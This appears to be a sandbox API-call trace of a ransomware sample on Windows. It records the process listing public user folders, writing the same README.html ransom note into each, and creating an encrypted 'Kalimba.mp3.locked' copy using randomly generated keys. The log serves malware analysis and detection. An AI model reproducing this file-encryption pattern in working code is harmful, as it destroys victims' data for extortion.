	[0082.700] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.700] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.700] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.700] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.700] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.700] CreateFileW (lpFileName="C:\\Users\\Public\\Downloads\\README.html" (normalized: "c:\\users\\public\\downloads\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.700] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.701] WriteFile (in: hFile=0xc0, lpBuffer=0x12799900*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x12799900*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.702] CloseHandle (hObject=0xc0) returned 1
	[0082.702] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12412af0*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12412af0*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Downloads\\desktop.ini" (normalized: "c:\\users\\public\\downloads\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2d28 | out: lpFileInformation=0x127e2d28*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae)) returned 1
	[0082.703] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Favorites" (normalized: "c:\\users\\public\\favorites"), fInfoLevelId=0x0, lpFileInformation=0x127e2d78 | out: lpFileInformation=0x127e2d78*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.703] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites" (normalized: "c:\\users\\public\\favorites"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.703] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.703] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.703] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.703] CreateFileW (lpFileName="C:\\Users\\Public\\Favorites\\README.html" (normalized: "c:\\users\\public\\favorites\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.704] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.704] WriteFile (in: hFile=0xc0, lpBuffer=0x1279a580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x1279a580*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.706] CloseHandle (hObject=0xc0) returned 1
	[0082.706] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12412b60*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12412b60*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.706] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries" (normalized: "c:\\users\\public\\libraries"), fInfoLevelId=0x0, lpFileInformation=0x127e2dc8 | out: lpFileInformation=0x127e2dc8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.707] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries" (normalized: "c:\\users\\public\\libraries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.707] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c, dwReserved0=0x0, dwReserved1=0x0, cFileName="RecordedTV.library-ms", cAlternateFileName="RECORD~1.LIB")) returned 1
	[0082.707] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.707] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.707] CreateFileW (lpFileName="C:\\Users\\Public\\Libraries\\README.html" (normalized: "c:\\users\\public\\libraries\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.707] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.708] WriteFile (in: hFile=0xc0, lpBuffer=0x1279b200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x1279b200*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.708] CloseHandle (hObject=0xc0) returned 1
	[0082.709] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12412bd0*, nNumberOfCharsToWrite=0x34, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12412bd0*, lpNumberOfCharsWritten=0x127ee914*=0x34) returned 1
	[0082.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms"), fInfoLevelId=0x0, lpFileInformation=0x127e2eb8 | out: lpFileInformation=0x127e2eb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2837806f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x289b7a3b, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x36c)) returned 1
	[0082.709] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Libraries\\desktop.ini" (normalized: "c:\\users\\public\\libraries\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x127e2f08 | out: lpFileInformation=0x127e2f08*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2839e1d0, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x2839e1d0, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288f9359, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x58)) returned 1
	[0082.710] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), fInfoLevelId=0x0, lpFileInformation=0x127e2f58 | out: lpFileInformation=0x127e2f58*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.710] CreateFileW (lpFileName="C:\\Users\\Public\\Music" (normalized: "c:\\users\\public\\music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.710] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1
	[0082.710] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.710] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.710] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\README.html" (normalized: "c:\\users\\public\\music\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.710] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0082.711] WriteFile (in: hFile=0xc0, lpBuffer=0x127ac000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x127ac000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.712] CloseHandle (hObject=0xc0) returned 1
	[0082.712] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12500c60*, nNumberOfCharsToWrite=0x30, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12500c60*, lpNumberOfCharsWritten=0x127ee914*=0x30) returned 1
	[0082.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music" (normalized: "c:\\users\\public\\music\\sample music"), fInfoLevelId=0x0, lpFileInformation=0x127e3048 | out: lpFileInformation=0x127e3048*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.713] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music" (normalized: "c:\\users\\public\\music\\sample music"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.713] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8031a7b6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0082.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kalimba.mp3", cAlternateFileName="")) returned 1
	[0082.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be5ebf7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x3ec5d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maid with the Flaxen Hair.mp3", cAlternateFileName="MAIDWI~1.MP3")) returned 1
	[0082.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be38a97, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be38a97, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x49e459, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sleep Away.mp3", cAlternateFileName="SLEEPA~1.MP3")) returned 1
	[0082.714] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.714] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.715] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\README.html" (normalized: "c:\\users\\public\\music\\sample music\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.716] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0082.716] WriteFile (in: hFile=0xc0, lpBuffer=0x127acc80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x127acc80*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0082.717] CloseHandle (hObject=0xc0) returned 1
	[0082.717] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416400*, nNumberOfCharsToWrite=0x3d, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x12416400*, lpNumberOfCharsWritten=0x127ee8b0*=0x3d) returned 1
	[0082.718] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), fInfoLevelId=0x0, lpFileInformation=0x127e31d8 | out: lpFileInformation=0x127e31d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be5ebf7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x8064f1)) returned 1
	[0082.719] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0082.719] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0082.719] CreateFileW (lpFileName="C:\\Users\\Public\\Music\\Sample Music\\Kalimba.mp3.locked" (normalized: "c:\\users\\public\\music\\sample music\\kalimba.mp3.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0082.719] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0082.720] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x127aace0 | out: pbBuffer=0x127aace0) returned 1
	[0082.720] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x10, pbBuffer=0x124ffb90 | out: pbBuffer=0x124ffb90) returned 1
	[0082.720] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x12416481 | out: pbBuffer=0x12416481) returned 1
	[0082.720] WriteFile (in: hFile=0xc4, lpBuffer=0x127b5000*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x127eeb88, lpOverlapped=0x0 | out: lpBuffer=0x127b5000*, lpNumberOfBytesWritten=0x127eeb88*=0x80, lpOverlapped=0x0) returned 1
	[0082.722] SetEvent (hEvent=0xb4) returned 1
	[0082.722] ReadFile (in: hFile=0xc0, lpBuffer=0x12c50000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x127eeb78, lpOverlapped=0x0 | out: lpBuffer=0x12c50000*, lpNumberOfBytesRead=0x127eeb78*=0x8064f1, lpOverlapped=0x0) returned 1
	[0082.930] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0082.930] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0083.121] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
